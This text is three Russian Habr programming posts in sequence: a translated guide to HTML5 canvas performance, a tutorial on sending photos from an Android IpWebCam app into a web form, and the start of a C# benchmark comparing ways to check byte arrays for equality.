*В последнее время мне везет натыкаться на интересные статьи для перевода. На этот раз – статья на [HTML5Rocks](http://www.html5rocks.com/en/tutorials/canvas/performance/) о производительности HTML5 canvas. Автор пишет о некоей стене, в которую упираются разработчики при создании приложений. Какое-то время назад в нее уперся и я при портировании старой-доброй игры на canvas.
К сожалению, графики в оригинале вставлены через iframe. Я мог бы сделать снимки и разместить их изображения, но сам автор позиционирует графики актуальными и такими, которые будут обновляться, потому я просто разместил на них ссылки. Приятного чтения!*
1. [Вступление](http://habrahabr.ru/post/127014/#1)
2. [Тестирование производительности](http://habrahabr.ru/post/127014/#2)
3. [Предварительно отрисовывайте в виртуальный canvas](http://habrahabr.ru/post/127014/#3)
4. [Группируйте вызовы](http://habrahabr.ru/post/127014/#4)
5. [Избегайте ненужных изменений состояния](http://habrahabr.ru/post/127014/#5)
6. [Отрисовывайте только разницу, а не весь холст](http://habrahabr.ru/post/127014/#6)
7. [Используйте многослойных canvas для сложных сцен](http://habrahabr.ru/post/127014/#7)
8. [Избегайте shadowBlur](http://habrahabr.ru/post/127014/#8)
9. [Различные способы очистить экран](http://habrahabr.ru/post/127014/#9)
10. [Избегайте нецелых координат](http://habrahabr.ru/post/127014/#10)
11. [Оптимизируйте анимации с помощью 'requestAnimationFrame'](http://habrahabr.ru/post/127014/#11)
12. [Большинство мобильных реализаций canvas – медленные](http://habrahabr.ru/post/127014/#12)
13. [Заключение](http://habrahabr.ru/post/127014/#13)
14. [Ссылки](http://habrahabr.ru/post/127014/#14)
#### Вступление
HTML5 canvas, который начинался, как эксперимент компании Apple, – наиболее широко распространенный стандарт для 2D [режима непосредственной графики](http://en.wikipedia.org/wiki/Immediate_mode) в интернет. Многие разработчики использую его в широком круге мультимедиа проектов, визуализаций и игр. Как бы то ни было, с ростом сложности приложений, разработчики нечаянно натыкаются на стену производительности.
Существует множество разбросанных повсюду «премудростей» оптимизации canvas. Эта статья нацелена на объединение их, чтобы создать более читабельный ресурс для разработчиков. Статья включает как фундаментальные оптимизации, которые относятся ко всем областям компьютерной графики, так и конкретные техники для canvas, которые меняются по мере развития реализаций canvas. В частности, по мере использования GPU-ускорения, некоторые из описанных техник станут менее актуальными. Это будет указано при необходимости.
Имейте в виду, эта статья не является учебником по HTML5 canvas. Но вы можете изучить соответствующие [статьи](http://www.html5rocks.com/en/tutorials/#canvas) на HTML5Rocks, вот эту главу на [Dive into HTML5](http://diveintohtml5.org/canvas.html) и уроки на [MDN](https://developer.mozilla.org/en/canvas_tutorial).
#### Тестирование производительности
В быстро меняющемся мире HTML5 canvas [JSPerf](http://jsperf.com/) ([jsperf.com](http://jsperf.com/)) помогает проверить, работают ли до сих пор все предложенные оптимизации. JSPerf – это веб-приложение, которое позволяет разработчикам писать тесты производительности JavaScript. Каждый тест сфокусирован на результате, который вы пытаетесь получить (например, очистка холста) и влючает различные подходы. JSPerf запускает каждый вариант как можно больше в течении короткого периода времени и отображает статистически осмысленное число итераций в секунду. Больше – всегда лучше!
Посетители страницы JSPerf могут запускать тесты в своем браузере и разрешить JSPerf хранить нормализированные результаты на [Browserscope](http://www.browserscope.org/) ([browserscope.org](http://www.browserscope.org/)). Поскольку техники оптимизации в этой статье сохранены на JSPerf, вы всегда можете вернуться и увидеть актуальную информацию о том, применима ли до сих пор та или иная техника. Я написал небольшое вспомогательное [приложение](https://github.com/borismus/jsperfview), которое отображает эти результаты, как графики, использованные в статье.
Все результаты тестов производительности в этой статье привязаны к версии браузера. Похоже, это предел, так как мы не знаем, под какой ОС был запущен браузер, или, что даже важнее, было ли включено аппаратное ускорение HTML5 canvas, когда происходило тестирование. Вы можете определить, включено ли аппаратное ускорее в Chrome, набрав `about:gpu` в адресной строке.
#### Предварительно отрисовывайте в виртуальный canvas
Если вы отрисовывайте похожие примитивы на экран на протяжении многих кадров (как это часто бывает при написании игры), вы можете получить значительные выигрыши в производительности, отрисовывая крупные части вне сцены. Предварительная отрисовка подразумевает использование виртуального (или виртуальных) холстов, на которых отрисовываются временные изображения, а потом копирование виртуальных холстов на видимый. Для тех, кто знаком с компьютерной графикой, эта техника также известна, как [display list](http://en.wikipedia.org/wiki/Display_list).
Например, представим, что вы перерисовываете Марио со скоростью 60 кадров в секунду. Вы можете отрисовывать его шляпу, усы и «M» в каждом кадре или предварительно отрисовать его перед запуском анимации.
без pre-rendering:
```
// canvas, context are defined
function render() {
drawMario(context);
requestAnimationFrame(render);
}
```
pre-rendering:
```
var m_canvas = document.createElement('canvas');
m_canvas.width = 64;
m_canvas.height = 64;
var m_context = m_canvas.getContext(‘2d’);
drawMario(m_context);
function render() {
context.drawImage(m_canvas, 0, 0);
requestAnimationFrame(render);
}
```
Обратите внимание на requestAnimationFrame, использование которой будет описано детальнее немного позднее. Следующий график демонстирует пользу использования pre-rendering ([jsperf](http://jsperf.com/render-vs-prerender)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBiDqJQHDA).
Эта техника особенно эффективна, когда отрисовка сложная (drawMario). Хороший пример – отрисовка текста, которая является очень дорогой операцией. Вот как драматически увеличивается производительность при использовании pre-rendering текста ([jsperf](http://jsperf.com/render-vs-prerender/3)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBjPoK8HDA)
Как бы то ни было, вы можете наблюдать в примере выше низкую производительность теста “pre-rendered loose”. При предварительной отрисовке важно убедиться, что ваш временный холст имеет «обтягивающий» размер для вашего изображения, иначе выигрыш в производительности встретится с потерей производительности при копировании одного большого холста в другой (которая выглядит, как функция от размера холста-цели). Подходящий холст для примера выше – меньше:
```
can2.width = 100;
can2.height = 40;
```
В сравнении с большим:
```
can3.width = 300;
can3.height = 100;
```
#### Группируйте вызовы
Так как отрисовка – дорогая операция, гораздо эффективнее загружать drawing state machine длинными списками команд, а потом выгружать их в видео буффер.
Например, при отрисовке множества линий, гораздо лучше сделать один путь со всеми линиями и нарисовать его в один вызов. Другими словами, чем рисовать отдельные линии:
```
for (var i = 0; i < points.length - 1; i++) {
var p1 = points[i];
var p2 = points[i+1];
context.beginPath();
context.moveTo(p1.x, p1.y);
context.lineTo(p2.x, p2.y);
context.stroke();
}
```
Лучше нарисовать одну ломаную:
```
context.beginPath();
for (var i = 0; i < points.length - 1; i++) {
var p1 = points[i];
var p2 = points[i+1];
context.moveTo(p1.x, p1.y);
context.lineTo(p2.x, p2.y);
}
context.stroke();
```
Это применимо также и к canvas. Рисуя сложный path, например, лучше сразу разместить на нем все точки, чем отрисовывать сегменты отдельно ([jsperf](http://jsperf.com/batching-line-drawing-calls/2)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBjf9K4HDA).
Но имейте в виду, что с canvas есть важное исключение из этого правила: если у примитивов отрисовываемого объекта небольшие окружающие прямоугольники (bounding box) – может оказаться, что эффективнее рисовать их отдельно ([jsperf](http://jsperf.com/batching-line-drawing-calls)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBjRzK4HDA).
#### Избегайте ненужных изменений состояния
Canvas реализован на базе конечного автомата, который отслеживает такие вещи, как стили заполнения и штриха, как и предыдущие точки, образовывающие текущий путь. При попытках оптимизации, есть соблазн сфокусироваться на рисовании. Но манипуляции с конечным автоматом также приводят к издержкам.
Если вы используете несколько цветов заливки в сцене, дешевле рисовать по цвету, чем по расположению на холсте. Чтобы отрисовать текстуру в мелкую полоску вы можете нарисовать линию, сменить цвет, нарисовать следующую и так далее:
```
for (var i = 0; i < STRIPES; i++) {
context.fillStyle = (i % 2 ? COLOR1 : COLOR2);
context.fillRect(i * GAP, 0, GAP, 480);
}
```
Или отрисовать все четные и нечетные полосы:
```
context.fillStyle = COLOR1;
for (var i = 0; i < STRIPES/2; i++) {
context.fillRect((i*2) * GAP, 0, GAP, 480);
}
context.fillStyle = COLOR2;
for (var i = 0; i < STRIPES/2; i++) {
context.fillRect((i*2+1) * GAP, 0, GAP, 480);
}
```
Сравнение эти способов представлено в следующем тесте ([jsperf](http://jsperf.com/changing-canvas-state/3)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBiG69oHDA).
Как и предполагалось, первый вариант медленнее, так как манипуляции с состоянием дороги.
#### Отрисовывайте только разницу, а не весь холст
Как можно предположить, чем меньшую часть экрана мы отрисовываем, тем это дешевле. Если у вас только незначительные различия между перерисовками, вы можете получить значительный рост производительности, отрисовывая только разницу. Другими словами, чем очищать весь экран перед отрисовкой:
```
context.fillRect(0, 0, canvas.width, canvas.height);
```
Следите за bounding box отрисовываемого и очищайте только ее.
```
context.fillRect(last.x, last.y, last.width, last.height);
```
Это показано в следующем тесте, который включает белую точку, пересекающую экран ([jsperf](http://jsperf.com/partial-re-rendering/2)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBivw8wHDA).
Если вы разбираетесь в компьютерной графике, вам должна быть известна эта техника под названием “redraw regions”, в которой предыдущий bounding box сохраняется, а потом очищается при каждой отрисовке.
Эта техника применима и к попиксельной отрисовке, как в этом обсуждении [JavaScript-эмулятора Nintendo](http://jsconf.eu/2010/speaker/lessons_learnt_pushing_browser.html).
#### Используйте многослойные canvas для сложных сцен
Как говорилось ранее, отрисовка больших изображений обходится дорого и ее стоит избегать. В дополнение к использованию внеэкранного буффера (секция предварительной отрисовки), мы можем использовать холсты, наложенные друг на друга. Используя прозрачность верхнего слоя, мы можем положиться на GPU для применения альфа-канала во время отрисовки. Вы использовать это с двумя абсолютно позиционированными холстами друг на другом, как здесь:
```
```
Преимущество над единственным холстом в том, что, при отрисовке или очистке верхнего, мы не затрагиваем фон. Если игра или мультимедиа-приложение может быть разбито на 2 слоя, лучше отрисовывать их в разных холстах, чтобы получить значительный прирост производительности. Следующий график сравнивает наивный вариант с одним холстом и тот, где вы по мере необходимости перерисовываете или очищаете верхний слой ([jsperf](http://jsperf.com/layered-canvases/3)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBjeg68HDA).
Часто можно извлечь выгоду из ущербного человеческого восприятия и отрисовывать фон только один раз или реже, чем верхний слой (который как раз привлекает большую часть внимания пользователя). Например, вы можете N отрисовок верхнего слоя отрисовывать фон только 1 раз.
Этот способ также применим и к любому другому количеству слоев, если ваше приложение работает лучше с такой структурой.
#### Избегайте shadowBlur
Как и другие графические среды, HTML5 canvas позволяет разработчикам размывать примитивы, но эта операция очень дорого обходится:
```
context.shadowOffsetX = 5;
context.shadowOffsetY = 5;
context.shadowBlur = 4;
context.shadowColor = 'rgba(255, 0, 0, 0.5)';
context.fillRect(20, 20, 150, 100);
```
Тест демонстрирует одну и ту же сцену, отрисованную с тенью и без тени и решительную разницу в производительности ([jsperf](http://jsperf.com/shadowblur-performance)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBiwja8HDA).
#### Различные способы очистить экран
Так как canvas – парадигма [непосредственного режима графики](http://en.wikipedia.org/wiki/Immediate_mode), сцена должна быть перерисована в каждом кадре. Из-за этого, очиста холста – операция фундаментальной важности в приложений и игр.
Как сказано в секции «Избегайте ненужных изменений состояния», очистка всего холста часто нежелательна, но если вы обязаны это сделать, есть два выхода: вызвать context.clearRect(0, 0, width, height) или использовать хак: canvas.width = canvas.width;.
На время написания статьи, clearRect обгоняет width reset, но, в некоторых случаях, использование сброса ширины намного быстрее в Chrome 14 ([jsperf](http://jsperf.com/canvas-clear-speed)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBj_2JEGDA).
Будьте осторожны с этим трюков, поскольку он сильно зависит от реализации canvas. Для дополнительной информации, см. [статью Simon Sarris об очистке холста](http://simonsarris.com/blog/346-how-you-clear-your-canvas-matters).
#### Избегайте нецелых координат
HTML5 canvas поддерживает суб-пиксельный рендеринг и нет никакой возможности его отключить. Если вы рисуете с нецелыми координатами, он автоматически использует анти-алиасинг, чтобы сгладить линии. Вот визуальный эффект суб-пиксельной производительности из [статьи Seb Lee-Delisle](http://sebleedelisle.com/2011/02/html5-canvas-sprite-optimisation):
Если сглаженный спрайт – это не то, что вам нужно, намного быстрее будет переводить ваши координаты, используя Math.floor или Math.round ([jsperf](http://jsperf.com/drawimage-whole-pixels)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBiRk-kDDA).
Чтобы перевести нецелые координаты в целые, есть несколько остроумных техник, большинство которых основываются на добавлении половины к числу и применении побитовых операций для удаления мантисы.
```
// With a bitwise or.
rounded = (0.5 + somenum) | 0;
// A double bitwise not.
rounded = ~~ (0.5 + somenum);
// Finally, a left bitwise shift.
rounded = (0.5 + somenum) << 0;
```
Полный пробой производительности здесь ([jsperf](http://jsperf.com/math-round-vs-hack/3)): [график](http://www.html5rocks.com/en/tutorials/canvas/performance/embed.html?id=agt1YS1wcm9maWxlcnINCxIEVGVzdBj36qAEDA).
Этот способ оптимизации больше не будет иметь смысла с того момента, как реализации canvas станут GPU-ускорены, что позволит быстро отрисовывать нецелые координаты.
#### Оптимизируйте анимации с помощью `requestAnimationFrame`
Относительно новая requestAnimationFrame API рекомендована для реализации интерактивных приложений в браузере. Вместо того, чтобы приказывать браузеру отрисовывать с конкретной частотой, вы вежливо просите его вызвать отрисовку и дать вам знать, когда он закончит. Как приятное дополнение, если страница неактивна, браузер достаточно умен, чтобы не рисовать.
Вызов requestAnimationFrame нацелен на 60 FPS, но не гарантирует его, так что вы должны следить, сколько времени прошло с последней отрисовки. Это может выглядеть так:
```
var x = 100;
var y = 100;
var lastRender = new Date();
function render() {
var delta = new Date() - lastRender;
x += delta;
y += delta;
context.fillRect(x, y, W, H);
requestAnimationFrame(render);
}
render();
```
Имейте в виду, что использование requestAnimationFrame применимо как к canvas, так и к другими техникам, как WebGL.
На время написания, API было доступно только для Chrome, Safari и Firefox, так что вам стоит пользоваться [аккуратно](http://paulirish.com/2011/requestanimationframe-for-smart-animating/).
#### Большинство мобильных реализаций canvas – медленные
Давайте поговорим о мобильной платформе. К сожалению, на момент написания, только iOS 5.0 beta с Safari 5.1 использовала аппаратное ускорение canvas. Без него, мобильные браузеры просто не обладают достаточно мощным CPU для современных canvas-приложений. Несколько тестов выше демонстрируют порядок падения производительности мобильной платформы по сравнению с настольной, значительно ограничивая разновидности кросс-платформенных приложений, от которых можно ожидать успешной работы.
#### Заключение
Эта статья покрыла обширный набор полезных оптимизаций, которые помогут вам разрабатывать производительные HTML5 canvas-приложения. Теперь, когда вы узнали что-то новое здесь, дерзайте и оптимизируйте свои невероятные творения. Или, если у вас еще нет игры или приложения для оптимизации, посмотрите [Chrome Experiments](http://www.chromeexperiments.com/) или [Creative JS](http://creativejs.com/) для вдохновления.
#### Ссылки
* [Immediate](http://en.wikipedia.org/wiki/Immediate_mode) mode vs. [retained](http://en.wikipedia.org/wiki/Retained_mode) mode.
* Other HTML5Rocks [canvas articles](http://www.html5rocks.com/en/tutorials/#canvas).
* The [Canvas section](http://diveintohtml5.org/canvas.html) of Dive into HTML5.
* [JSPerf](http://jsperf.com/) lets developers create JS performance tests.
* [Browserscope](http://www.browserscope.org/) stores browser performance data.
* [JSPerfView](https://github.com/borismus/jsperfview), which renders JSPerf tests as charts.
* Simon's [blog post](http://simonsarris.com/blog/346-how-you-clear-your-canvas-matters) on clearing the canvas.
* Sebastian's [blog post](http://sebleedelisle.com/2011/02/html5-canvas-sprite-optimisation) on sub-pixel rendering performance.
* Paul's [blog post](http://paulirish.com/2011/requestanimationframe-for-smart-animating/) on using the `requestAnimationFrame`.
* Ben's [talk](http://jsconf.eu/2010/speaker/lessons_learnt_pushing_browser.html) about optimizing a JS NES emulator.
#### Избранные комментарии
*[mikenerevarin](https://habrahabr.ru/users/mikenerevarin/) [#](http://habrahabr.ru/blogs/webdev/127014/#comment_4190420)*
> На мобильных устройствах ситуация абсолютно обратная — многослойные канвасы сильно тормозят, приходится использовать 1 + пререндер сцены в бэкграунд (причём бэк div'а размером с канвас и расположенный под ним, поскольку необъяснимым образом background у канваса опять же сильно тормозит).
>
> Ещё многими хитрыми способами можно добиться вполне нормальной скорости работы канваса на мобильниках.
*[TheShock](https://habrahabr.ru/users/theshock/) [#](http://habrahabr.ru/blogs/webdev/127014/#comment_4190990)*
> …
>
> Судя по коду имеется ввиду, что вместо того, чтобы каждый кадр рисовать графические примитивы — лучше их отрисовать один раз в буфер, а потом отрисовывать из буфера и это правда — отрисовать круг согласно математическим расчётам, которые производятся в .arc или кривую, согласно математическим расчётам, которые производятся в bezierCurveTo значительно медленнее, чем просто скопировать картинку соответствующего размера.
>
>
>
> А вот реальная «двойная буферизация» особого смысла не имеет — ведь браузер имеет свой собственный бек-буфер, а отрисовка бек-буфера на основной слой:
>
> 1. Занимает слишком много времени
>
> 2. Мешает искать узкие места отрисовки
>
> ... | https://habr.com/ru/post/127014/ | null | ru | null |
# Получение фото с android-смартфона прямо в html форму
Здравствуйте!
Возникла задача для интернет-магазина сфотографировать большое количество товаров. Специфика товара такова, что не столько важна красивая картинка, сколько особенности конструкции товара (с какой стороны находится шлейф, есть ли петли крепления и т.п.)
Фотографировать обычным фотоаппаратом, потом заливать фото на компьютер, искать каждый товар в админке, потом искать соответствующее фото, показалось очень долго. Гораздо проще открыть товар в админке и навести телефон на товар. Тем более, что при хорошо выставленном освещении, современные смартфоны выдают вполне качественную картинку.
#### Теория
В андроид-маркете лежит замечательная программа [IpWebCam](http://play.google.com/store/apps/details?id=com.pas.webcam), которая позволяет превратить свой телефон в полноценную веб-камеру. Кроме того у нее есть api для получения фотографий с автофокусом. При запуске IpWebCam, на телефоне поднимается web-сервер, который позволяет с локальной машины по wi-fi получать текущий кадр с телефона по адресу вида 192.168.0.14:8080/shot.jpg
Идея была следующая:
1. Вставить в форму ![]() с адресом фотографии со смартфона
2. Создать canvas и в него скопировать содержимое ![]()
3. Сохранить данные при помощи canvas.toDataURL()
4. Отправить данные на сервер при помощи ajax
К сожалению, из-за кросс-доменных политик метод toDataURL() сохраняет только черный квадрат вместо изображения. Поэтому canvas надо создавать на том же домене, из которого берется изображение. Сходив на [сайт программы](http://ip-webcam.appspot.com/), я узнал, что IpWebCam позволяет создавать собственные html-страницы на своем внутреннем сервере. Для этого их достаточно залить на sd-карту и указать программе, в какой папке их искать.
Алгоритм следующий:
1. На смартфоне создаем специальную страницу (например my.html)
2. В форме на нашем сайте создаем , в который грузим html-страницу со смартфона.
3. На телефоне в html странице создаем canvas, в который грузим изображение с камеры.
4. Сохраняем данные при помощи canvas.toDataURL() в переменную
5. Передаем данные в родительскую страницу при помощи window.postMessage()
6. В родительской странице получаем изображение и отправляем данные на сервер при помощи ajax
7. На сервере сохраняем изображение в файл.
#### Решение
Во-первых, ставим на смартфон программу [IpWebCam из маркета](http://play.google.com/store/apps/details?id=com.pas.webcam).
Создаем на смартфоне папку **webcam**, а в ней создаем файл **my.html** со следующим содержимым:
```
Content-Type: text/html
\* { margin: 0; padding: 0}
$(loadJsWindowed);
function shot()
{
$('#msg').text('Please wait...');
var img = new Image();
img.onload = function(){
var canvas = $('<canvas width="' + img.width + '" height="' + img.height + '">');
canvas[0].getContext('2d').drawImage(img, 0, 0);
var data = canvas[0].toDataURL('image/jpeg').replace(/data:image\/jpeg;base64,/, '');
canvas.remove();
//засылаем картинку на сервер
window.parent.postMessage(data, '\*');
}
img.src = 'photoaf.jpg';
}
Click to take a shot..
```
Обратите внимание, что в начале файла идут HTTP заголовки и пустая строка перед основным содержимым страницы. За основу был взят javascript видео-проигрыватель из самой программы.
Теперь надо указать, где искать файлы для веб-сервера приложения. Для этого откройте программу на телефоне, нажмите хардварную кнопку меню и выберите единственный пункт Cheats. Теперь введите в открывшемся диалоговом окне команду **set(HtmlPath,/sdcard/webcam)**. Обратите внимание, что после запятой не допускаются пробелы.
Теперь на нашем сервере создаем файл jquery плагина jquery.ipwebcam.js:
```
(function($) {
$.fn.ipWebCam = function(options) {
var settings = $.extend( {
ip: '',
width: 640,
height: 480,
action: '?',
callback: function(){}
}, options);
function ipWebCam_listener(event){
$('#ipWebCam_wnd').prev().remove();
$('#ipWebCam_wnd').remove();
$.post(settings.action, {data:event.data}, settings.callback);
}
if (window.addEventListener){
window.addEventListener('message', ipWebCam_listener,false);
} else {
window.attachEvent('onmessage', ipWebCam_listener);
}
return this.each(function() {
$(this).click(function(){
if(settings.ip=='')
settings.ip = prompt('IP Webcam address:');
$('').css({
position: 'fixed',
width: settings.width + 'px',
marginLeft: '-' + (settings.width/2) + 'px',
left: '50%',
height: settings.height + 'px',
marginTop: '-' + (settings.height/2) + 'px',
top: '50%',
border: 0,
overflow: 'hidden',
backgroundColor: '#777777'
})
.attr('width', settings.width)
.attr('height', settings.height)
.attr('src', 'http://' + settings.ip + ':8080/my.html')
.attr('id', 'ipWebCam\_wnd')
.prependTo('body');
$('').css({
position:'fixed',
left: 0,
top: 0,
right:0,
bottom:0,
backgroundColor: '#000000',
opacity: 0.5
}).click(function(){
$('#ipWebCam\_wnd').prev().remove();
$('#ipWebCam\_wnd').remove();
}).prependTo('body');
});
});
};
})( jQuery )
```
Плагин цепляется к кнопке вызова диалога. Например:
```
$('#camera_button').ipWebCam({
ip: '', //ip адрес камеры, если не задан, то попросит ввести через prompt
action: 'save_img.php', //адрес скрипта сохранения картинки, по умолчанию та же страница
callback: function(rep){ // будет вызвана после отправки данных на сервер
window.location.reload();
},
width: 640, // размеры iframe
height: 480
});
```
Плагин передает данные на сервер методом POST в переменной data. Сохранить файл на php:
```
if(isset($_POST['data']))
{
$name = 'img/shot.jpg';
//записываем, не забывая перекодировать из base64
file_put_contents($name, base64_decode($_POST['data'] ));
echo 'ok';
}
```
На этом все, если кому-нибудь пригодится, буду рад.
**upd** Идея была в том, что администратор работает в админке за большим компом, так удобнее (он ведь не только фотки делает). А смартфон кладется на штатив и не трогается. Непосредственно фотографирование (предпросмотр и нажатие спуска) происходит на большом компе, чтобы лишний раз к телефону не бегать. Поэтому саму фотографию придется передавать непосредственно в html форму на большом компе. Это можно сделать только подняв веб-сервер на смарте. Можно было бы написать программу самому, но зачем если уже есть готовое решение — IpWebCam. | https://habr.com/ru/post/140974/ | null | ru | null |
# 5 способов сравнить два байтовых массива. Сравнительное тестирование
В результате профилирования моей софтины я сделал вывод о необходимости оптимизации функции сравнения буферов.
Т.к. CLR не предоставляет стандартного способа сравнить два куска памяти, то функция была написан на скорую руку самостоятельно (лишь бы работало).
Погуглив по фразе «Best Way to Compare Byte Arrays in .Net», я пришёл в замешательство: в абсолютном большинстве случаев люди предлагали использовать либо LINQ, либо Enumerable.SequenceEqual(), что практически одно и тоже. Даже на StackOverflow это был самый популярный ответ. Т.е. катастрофически популярно заблуждение вида:
«Compiler\run-time environment will optimize your loop so you don't need to worry about performance.» [Отсюда.](http://stackoverflow.com/questions/43289/comparing-two-byte-arrays-in-net)
Именно оно впервые навело меня на мысль написать этот пост.
Я провёл сравнительное тестирование пяти способов сравнения буферов, доступных из C#, и на основании результатов тестирования дал рекомендации в выборе способа.
Кроме того, я декомпилировал некоторые функции, и проанализировал код, генерируемый JIT-компилятором для конфигурации x86, а так же сравнил машинный код, генерируемый JIT-компилятором, с машинным кодом функции CRT аналогичного назначения.
#### Предыстория
Написав очередную утилиту и добившись её работоспособности, я запустил профайлер и увидел, что огромный процент времени занимает сравнение массивов байтов.
Функция CompareByteArrays() лежала на критическом пути, и с этим надо было что-то делать.
Алгоритмическогоко решения проблемы производительности я не видел: алгоритмы подбирались заранее, и никаких идей о том, как уменьшить итоговую сложность, у меня не возникло.
Результаты поиска во всемируной паутине не очень порадовали: сравнения скорости методов были, но как были получены эти цифры, на каких данных и в каких услових никто написать не удосужился.
У меня были свои предположения на тему того, кто и в каких условиях окажется быстрее. Я решил проверить.
Результаты получились интересными, так что мысль о посте сюда окончательно созрела.
### Что и чем я тестировал
#### Главное
Код компилировался и запускался на машине с Windows 7 x64 со всеми последними обновлениями для .Net 4.0 Client Profile, т.е. с настройками Microsoft Visual Studion 2010 по умолчанию, и только для конфигурации x86, т.е. это 32-битный код. Во-первых, потому что большая часть кода, с которой я сталкиваюсь, написана для 32-битных систем. Во-вторых, я считаю, что для .Net крайне важна производительность именно в этой конфигурации. В частности, потому, что огромный объём уже существующих компонентов написан для 32-бит, и переписывать их никто не будет, а с ними нужно взаимодействовать, т.е. они определят конфигурацию конечного приложения. Во-вторых, крайне малому числу приложений действительно нужно 64 бита – необходимая разрядность определяется в первую очередь требованиями к памяти и целевой платформой. Современные 64-разрядные x86-совместимые процессоры аппаратно поддерживают 32-битные задачи [1][2]. Логично, что Windows x64 эту возможность использует, исполняя 32-битный код напрямую [3]. Компиляция изначально 32-битного приложения в 64 бита умножает необходимую для него память и снижает его производительность, потому что опции компилятора размер TLB процессора не меняют, кэш первого уровня — тоже, а размер указателя удваивают, что в свою очередь ещё и необходимую границу выравнивания данных изменяет [4].
#### Размеры данных
В моей изначальной задаче требовалось сравнивать байтовые массивы размером 16 байт и размерами от 1 до 4\*1024 байт. 16 байт — размер MD5, 4 Kb — размер стандартной страницы памяти в Windows, поэтому он был выбран для буфера ввода-вывода.
Однако тестировал сравнение я на блоках от 1 байта до 1/2 мегабайта, по той простой причине, что хэши бывают размером не только 16 байт, но и 4, и даже 2 байта (CRC16, CRС32), а страницы памяти не только по 4 килобайта, но и 2 МБ[2] и даже 4 МБ. Результаты, показанные на блоках 1/2 MB, оказались достаточны, чтобы делать вывод о работе с блоками больших размеров, к тому же моё время не безгранично (в процессе тестирования компьютер лучше не трогать, чтобы не отнимать время у описываемого процесса).
Исходя из результатов первых прогонов, я счёл достаточным сравнение методов на 25 различных размерах тестовых данных. Для этого я построил цикл тестирования таким образом, чтобы первый тестовый набор состоял из массивов размером 1 байт, а на каждом следующем шаге размер тестовых массивов умножался на одинаковый множитель.
Параметры задавались константами в коде:
```
private const int CountArrays = 128; //Количество сравниваемых тестовых наборов
private const int StartArraySize = 1; //Стартовый размер тестового набора
private const int MaxArraySize = 512 * 1024; //Максимальный размер тестового набора
private const int StepsCount = 25; //Количество шагов
private const int MeasurementsCount = 10; //Количество измерений
```
Основной цикл тестирования выглядел вот так:
```
double sizeMultiplier = 1;
DoInvestigationStep(sizeMultiplier);
const int MaxMultiplier = MaxArraySize / StartArraySize;
var stepMmltiplier = Math.Pow( MaxMultiplier, 1 / (double)StepsCount );
for (var step = 1; step <= StepsCount; step++)
{
sizeMultiplier = Math.Pow(stepMmltiplier, (double) step);
DoInvestigationStep(sizeMultiplier);
}
```
Размер массива на каждом шаге вычислялся вот так:
```
var arraySize = (int) (StartArraySize * p_SizeMultiplier);
```
### Протестированные методы
#### Использование интерфейса System.Collections.IStructuralEquatable
Это относительно новый для C# способ, он появился только в .NET 4, поэтому он представлял для меня особый интерес: любопытно было, насколько он всё-таки медленный.
```
private static bool ByteArrayCompareWithIStructuralEquatable(byte[] p_BytesLeft, byte[] p_BytesRight)
{
IStructuralEquatable eqa1 = p_BytesLeft;
return eqa1.Equals(p_BytesRight, StructuralComparisons.StructuralEqualityComparer);
}
```
#### LINQ, а точнее Enumerable.SequenceEqual()
Это один из самых простых методов, самый простой для реализации. Кроме того, это самый популярный метод.
```
private static bool ByteArrayCompareWithSequenceEqual(byte[] p_BytesLeft, byte[] p_BytesRight)
{
return p_BytesLeft.SequenceEqual(p_BytesRight);
}
```
#### PInvoke, для CRT функции memcmp()
Теоретически, это должен быть самый быстрый способ, но выяснилось, что это не всегда так: накладные расходы на взаимодействие с платформой съедают довольно большое время, и этот метод в некоторых случаях теряет свою привлекательность.
Здесь я привожу его в тмо виде, в котором нашёл его на SO. Именно в таком виде я его и тестировал.
На PInvoke.net он выглядит несколько иначе.
```
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int memcmp(byte[] p_BytesLeft, byte[] p_BytesRight, long p_Count);
private static bool ByteArrayCompareWithPInvoke(byte[] p_BytesLeft, byte[] p_BytesRight)
{
// Validate buffers are the same length.
// This also ensures that the count does not exceed the length of either buffer.
return p_BytesLeft.Length == p_BytesRight.Length
&& memcmp(p_BytesLeft, p_BytesRight, p_BytesLeft.Length) == 0;
}
```
#### В лоб. Т.е. прямое сравнение байтов в цикле for(;;)
Это самый очевидный способ сравнить два массива, именно поэтому он представляет интерес.
Изначально метод казался не слишком быстрым, но оказалось, что для многих ситуаций он вполне приемлем.
Кстати, одна из вариаций этого метода сравнения была использована в [статье](http://support.microsoft.com/kb/307020) от самих Производителей СLR, притом именно в том котексте, в котором она понадобилась мне.
Видимо, пользователи их доканали такими вопросами.
```
private static bool ByteArrayCompareWithSimplest(byte[] p_BytesLeft, byte[] p_BytesRight)
{
if (p_BytesLeft.Length != p_BytesRight.Length)
return false;
var length = p_BytesLeft.Length;
for (int i = 0; i < length; i++)
{
if (p_BytesLeft[i] != p_BytesRight[i])
return false;
}
return true;
}
```
#### Оптимизированный unsafe-метод от Хафора Стефансона
Автор метода утверждает, что этот оптимизированный метод делает сравнение блоками размером 64 бита для возможно большей части массива, рассчитывая на то, что начало массива выравнено по границе QWORD. Он также будет работать, если нет QWORD-выравнивания, но с меньшей скоростью.
Однако, в 32 битной среде сравнения блоками в 64 бита можно добиться только с помощью ассемблера: регистры общего назначения 32 битные, а компилятор при генерации машинного кода, использует именно их.
